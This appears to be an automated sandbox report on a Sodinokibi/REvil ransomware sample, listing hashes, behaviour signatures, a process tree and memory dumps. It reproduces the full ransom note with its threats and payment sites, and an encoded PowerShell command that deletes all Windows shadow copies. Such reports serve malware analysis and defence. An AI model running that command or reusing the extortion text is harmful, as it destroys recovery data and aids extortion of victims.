Overview

overview

10

Static

static

801e1f5f62...75.exe

windows7_x64

6

801e1f5f62...75.exe

windows10_x64

10

Analysis

  • max time kernel
    40s
  • max time network
    111s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    01-02-2021 09:58

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    801e1f5f623edd2771367a79c94c8d9414f2d8f6af5cec707baa410a1ebf4b75.exe

  • Size

    136KB

  • MD5

    c2ae29ea86b611d8697ca715e61045a8

  • SHA1

    58d835c3d204d012ee5a4e3c05a06e60b4316d0e

  • SHA256

    801e1f5f623edd2771367a79c94c8d9414f2d8f6af5cec707baa410a1ebf4b75

  • SHA512

    571dde42ebaa5c373bcd1cd8c08e3d4d16945df54659f64ccb0e8e1bf721c11d20ac35539e071dfede3a765d2abfd6546225fb72822fa1e3e4095459b539822a

Score
10/10
sodinokibiransomware

Malware Config

Extracted

Path

C:\2lsx5g-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 2lsx5g. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7BF64018E3D814A4 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7BF64018E3D814A4 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: mLYy4GCT/6nywzB9h1vhqjj6gfVqQXeESMS9/iZOCrfZ1+RGxoLLWw2L8j0zAOKe ysbxKePbORzmQLVyeq/ODOoNtLNnDFLM7035UEiQoyll+y44lAnIlgcxA/iC9XdY 7IBIajXdaMWIGnnNShr0RjeIIt2OILvIIiUdBFaUboFQyBvcxWug9VegijA7McTP cxiNzF6mRjHcSWCM2wGBCI/cGSxSdzn7d5I6BbmLtTtnfyB+zn8+6sCsg4qRDo0L nevFnTCccO6HgEw7ZHYaBs2Kg33UJXxZmi8l2ioKrPRovb5YjKtgiv7xlZC9U1e2 o9IJo6Ml1vZNYMakqSvnJfGOFwj+kI9H1bp2OuBOa+6eIIDfZV4L90toOEeV6LEz Gean+e7m0UMCNDrIkOJ0O1AU1uJ0t9SE5re/ZPakkKL6DG0Q139kppN3izxmzrnK yjIeHSsfpMjCsw16tg7/+LFXRWkUPY9A9h9NxwqSMNKUaaeCxiTWco0/e4EoeQOm Bn+Qe0SlLBkgl/a7N6tLClb3zVtGoaTKktuvV6+pGtaoxQ4KHkW4Dh285xy3k4cW bsablkbr3xzuwwjcS77wbUdR4lJAw9/TEizp9wvHDxRmV+F1jmzvvUvMmKokPnIR DY26J4no0CR90LCCOpzE+bYQ1ailHjf0DiQaYdhxO/E80wlpQk/HdX0kK+ycEXdp PKV9/umb49x30RR1xNAMKckamWMtOyxyH4Os6KyAXFN0afT+x1uGnr541IBKORMI 5h1iL5FRdDdhy7d/1ZLFHRL6AM2D6uFtrmEoFLlkdrY6lvKaqedDSCWr18F8Gf6b ApOOPl+H3zr4UhWutkC2q48W5MrqhPoHcjxd9rIvhl5y+i8SfyBtXuhY/HJ+l3ug htTPdWLXsIluTnubfStnvcZfKv7tv0NqBk0+o3KXI1A2/aMcWY/NXuwyGIp19bDf rbDHye1HBVm7S9GKoRPzXMYSLD645DazUDybe45wH+2+QLQFnMX+JT7GxRRUXMN7 sdxPma9vH5v7gQVx0zBkmqlsFCCucwvy208bGBpMort0oHkg+3xIPjPnbVPzG42G VFXxx9f6S5tIXhStzfckPZseSwjKLifNMWgbv3H4veskomcBIauyZ7xHMiHsHVwn RjOKINeo5Ya7/h3OhXZ2zYLEl5BaFgWFlBG5ogjzE4kPJpZ10St0grebUi0lSPUU eIg6BLZk5SVIPksaMpTnp0Pg0yjIxjL9PezTw4J194qIqDllkUMYcW6LCjLIFGjq UWbx8brCYLmNMwC74G2PDA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7BF64018E3D814A4

http://decryptor.cc/7BF64018E3D814A4

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 34 IoCs
  • Suspicious behavior: EnumeratesProcesses 77 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\801e1f5f623edd2771367a79c94c8d9414f2d8f6af5cec707baa410a1ebf4b75.exe
    "C:\Users\Admin\AppData\Local\Temp\801e1f5f623edd2771367a79c94c8d9414f2d8f6af5cec707baa410a1ebf4b75.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3700
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2572
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1324

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3700-2-0x0000000000000000-mapping.dmp
      Download
    • memory/3700-3-0x00007FFE03B60000-0x00007FFE0454C000-memory.dmp
      Filesize

      9.9MB

      Download
    • memory/3700-4-0x0000019707800000-0x0000019707801000-memory.dmp
      Filesize

      4KB

      Download
    • memory/3700-5-0x0000019721270000-0x0000019721271000-memory.dmp
      Filesize

      4KB

      Download
    • memory/3700-6-0x000001971FE00000-0x000001971FE02000-memory.dmp
      Filesize

      8KB

      Download
    • memory/3700-7-0x000001971FE03000-0x000001971FE05000-memory.dmp
      Filesize

      8KB

      Download
    • memory/3700-8-0x000001971FE06000-0x000001971FE08000-memory.dmp
      Filesize

      8KB

      Download